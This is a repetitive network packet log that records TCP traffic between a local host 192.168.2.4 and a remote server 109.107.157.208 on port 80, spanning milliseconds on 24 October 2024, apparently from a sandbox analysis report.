Oct 24, 2024 13:27:09.427648067 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427664995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427680969 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427702904 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427716970 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427738905 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427751064 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427772999 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427784920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427805901 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427819014 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427843094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427853107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427871943 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427886009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427906036 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427921057 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427942991 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427953005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.427970886 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.427985907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428002119 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428020954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428037882 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428055048 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428075075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428086042 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428108931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428119898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428137064 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428153038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428184986 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428185940 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428206921 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428220987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428244114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428258896 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428282976 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428293943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428324938 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428325891 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428345919 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428354979 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428375006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428388119 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428402901 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428430080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428440094 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428462029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428479910 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428514004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428519964 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428543091 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428569078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428580046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428591967 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428613901 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428633928 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428647041 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428672075 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428679943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428705931 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428714991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428729057 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428750038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428774118 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428786039 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428816080 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428821087 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428841114 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428854942 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428877115 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428888083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428911924 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428920984 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428941011 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428953886 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.428975105 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.428983927 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429003954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429018021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429044008 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429059029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429075956 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429092884 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429115057 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429126978 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429158926 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429162025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429183006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429198027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429223061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429231882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429251909 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429266930 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429290056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429301023 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429322958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429333925 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429356098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429368019 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429389954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429402113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429420948 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429440022 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429460049 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429475069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429487944 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429507017 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429529905 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429541111 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429558992 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429575920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429599047 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429608107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429624081 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429663897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429667950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429722071 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429724932 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429759026 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429780960 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429794073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429821968 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429826021 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429841042 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429861069 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429878950 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429891109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429919958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429923058 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429939985 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429955959 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.429977894 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.429990053 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430022001 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430025101 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430038929 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430059910 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430078983 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430094004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430118084 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430129051 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430146933 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430162907 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430186033 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430195093 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430222034 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430228949 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430244923 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430263042 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430282116 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430294991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430320024 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430326939 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430342913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430361032 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430381060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430397987 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430419922 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430432081 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430459023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430464029 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430484056 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430497885 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430515051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430531025 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430552006 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430567980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430591106 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430603027 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430613041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430655956 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430660009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430694103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430717945 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430727005 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430741072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430757046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430784941 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430789948 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430803061 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430824995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430845022 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430861950 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430895090 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430896044 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430921078 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430927038 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430942059 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.430979967 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.430999041 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431013107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431037903 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431046963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431061029 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431080103 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431102037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431113958 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431140900 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431148052 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431164026 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431180954 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431205988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431210995 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431236029 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431242943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431258917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431276083 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431298971 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431332111 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431338072 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431366920 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431399107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431427002 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431432009 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431443930 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431467056 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431498051 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431499004 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431533098 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431536913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431554079 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431571960 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431591988 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431611061 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431632996 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431644917 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431665897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431673050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431711912 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431729078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431732893 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431762934 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431786060 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431794882 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431816101 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431832075 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431855917 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431865931 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431884050 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431916952 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431922913 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431950092 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.431972980 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.431982994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432003021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432013988 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432037115 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432046890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432069063 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432080030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432111025 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432115078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432128906 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432147980 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432168961 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432182074 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432198048 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432215929 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432238102 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432250977 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432281017 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432284117 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432297945 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432317972 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432336092 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432346106 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432374954 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432382107 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432393074 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432416916 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432437897 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432449102 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432471037 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432481050 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432498932 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432516098 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432534933 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432548046 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432579994 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432580948 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432600021 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432614088 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432636023 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432646036 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432671070 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432678938 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432693005 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432734966 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432738066 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432773113 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432796955 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432826042 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432832003 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432859898 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432874918 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432893991 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432909012 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432929993 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432959080 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.432981014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432981014 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.432991982 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433001995 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433029890 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433038950 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433063030 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433079958 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433098078 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433109045 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433131933 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433150053 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433165073 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433188915 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433193922 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433212042 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433226109 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433248043 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433259010 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433271885 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433293104 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433312893 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433327913 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433348894 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433358908 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433377981 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433389902 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433404922 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433407068 CEST	49730	80	192.168.2.4	109.107.157.208
Oct 24, 2024 13:27:09.433419943 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433434963 CEST	80	49730	109.107.157.208	192.168.2.4
Oct 24, 2024 13:27:09.433448076 CEST	49730	80	192.168.2.4	109.107.157.208
